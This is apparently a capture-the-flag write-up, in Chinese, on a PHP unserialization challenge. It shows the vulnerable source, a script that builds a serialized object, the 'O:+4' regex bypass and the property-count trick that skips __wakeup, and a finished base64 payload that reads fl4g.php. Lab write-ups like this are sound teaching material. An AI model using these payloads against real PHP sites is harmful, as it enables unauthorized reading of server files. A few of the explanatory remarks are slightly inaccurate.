一、题目概览
解析php代码,可以看出是php反序列化漏洞的题
<?php
class Demo { //一个类
private $file = 'index.php'; //私有变量,本题需要注意的细节
public function __construct($file) { //构造函数
$this->file = $file;
}
function __destruct() { //析构函数
echo @highlight_file($this->file, true);
}
function __wakeup() { //绕过wakeup函数
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
if (isset($_GET['var'])) { //检查是否通过get方式传参
$var = base64_decode($_GET['var']); //将var通过base64编码
if (preg_match('/[oc]:\d+:/i', $var)) { //正则匹配
die('stop hacking!');
} else {
@unserialize($var);
}
} else {
highlight_file("index.php");
}
?>
思路:构造参数使fl4g.php层层伪装,最后通过get方式将参数赋值给var,便可得到flag
二、基础知识
1、魔术函数
_construct 构造函数,实例化对象使自动调用该函数
_destruct析构函数,该函数会在类的一个对象被删除时自动调用。
_wakeup函数,在反序列化之前调用该函数,但是如果序列化字符串中表示对象属性个数的值大于真实的属性个数时就会跳过_wakeup函数。
2、常见php函数
str_replace函数,替换字符串(区分大小写),后面会用到来写php脚本
preg_match正则匹配函数,用于匹配字符串中是否有特定字符
三、解题步骤
要想得到fl4g.php,需要满足以下条件:
1、绕过preg_match函数
if (isset($_GET['var'])) { $var = base64_decode($_GET['var']); if (preg_match('/[oc]:\d+:/i', $var)) { die('stop hacking!'); } else { @unserialize($var);
}
首先将字符串"fl4g.php"序列化,可以直接手写,也可以用php脚本来执行
脚本如下:
<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
$A=new Demo("fl4g.php");
$C=serialize($A);
echo $C;
?>
得到的结果:
可以看到的是,序列化之后的结果有两个特殊字符,这是由于file是private属性的,序列化之后会在其前后有空格,即%00,protect属性的变量也类似。
我们看看上面fl4g.php序列化的结果:
-
O:4:"Demo"
:这部分表示一个对象,其类名为"Demo"。对象序列化的长度为4。 -
:1:
:表示这个对象有1个属性或成员。 -
{s:10:" Demo file";s:8:"fl4g.php";}
:这是对象的成员。s:10:" Demo file"
:表示一个字符串,长度为10,内容为" Demo file"。s:8:"fl4g.php"
:表示另一个字符串,长度为8,内容为"fl4g.php"。
所以,这个序列化字符串表示一个名为"Demo"的类的一个实例,该实例有一个属性,其中第一个属性是一个长度为10的字符串" Demo file",第二个属性是一个长度为8的字符串"fl4g.php"。
现在来分析**preg_match('/[oc]:\d+:/i', $var)
**
- [oc]:这是一个字符集,表示匹配其中的任何一个字符,即"o"或"c"。
- ::这是一个普通字符,表示直接匹配":"字符。
- \d+:这是一个量词,表示匹配一个或多个数字。
- ::再次,这是一个普通字符,表示直接匹配":"字符。
- i:这是一个修饰符,表示匹配时不区分大小写。
综上,能被该函数过滤的有“o:数字:”或者“c:数字:”,我们要想绕过preg_match()函数,就只要不满足上述条件即可,函数想过滤”O:4“,我们只要稍微修改一下改成”O:+4“就行。
执行代码如下:
$C = str_replace('O:4', 'O:+4',$C);
2、绕过_wakeup()函数
前面我们讲了,如果序列化字符串中表示对象属性个数的值大于真实的属性个数时就会跳过_wakeup函数,那么,我们只需要将对象属性的个数增大即可
我们将1改为其他数就行,这里我们改为2,代码如下:
$C = str_replace(':1:', ':2:',$C);//绕过wakeup
3、必须是base64加密
将上述代码执行得到的结果为
可以看到还是有空格键的存在,选择复制,发现复制不了,刚开始想的是,手工将空格添上,再base64加密,后来发现不行,结果不对。
于是采用代码来执行base64的加密:
$C=base64_encode($C);
执行得到的base64加密如下:
TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
4、get方式传参得flag
/?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
得到flag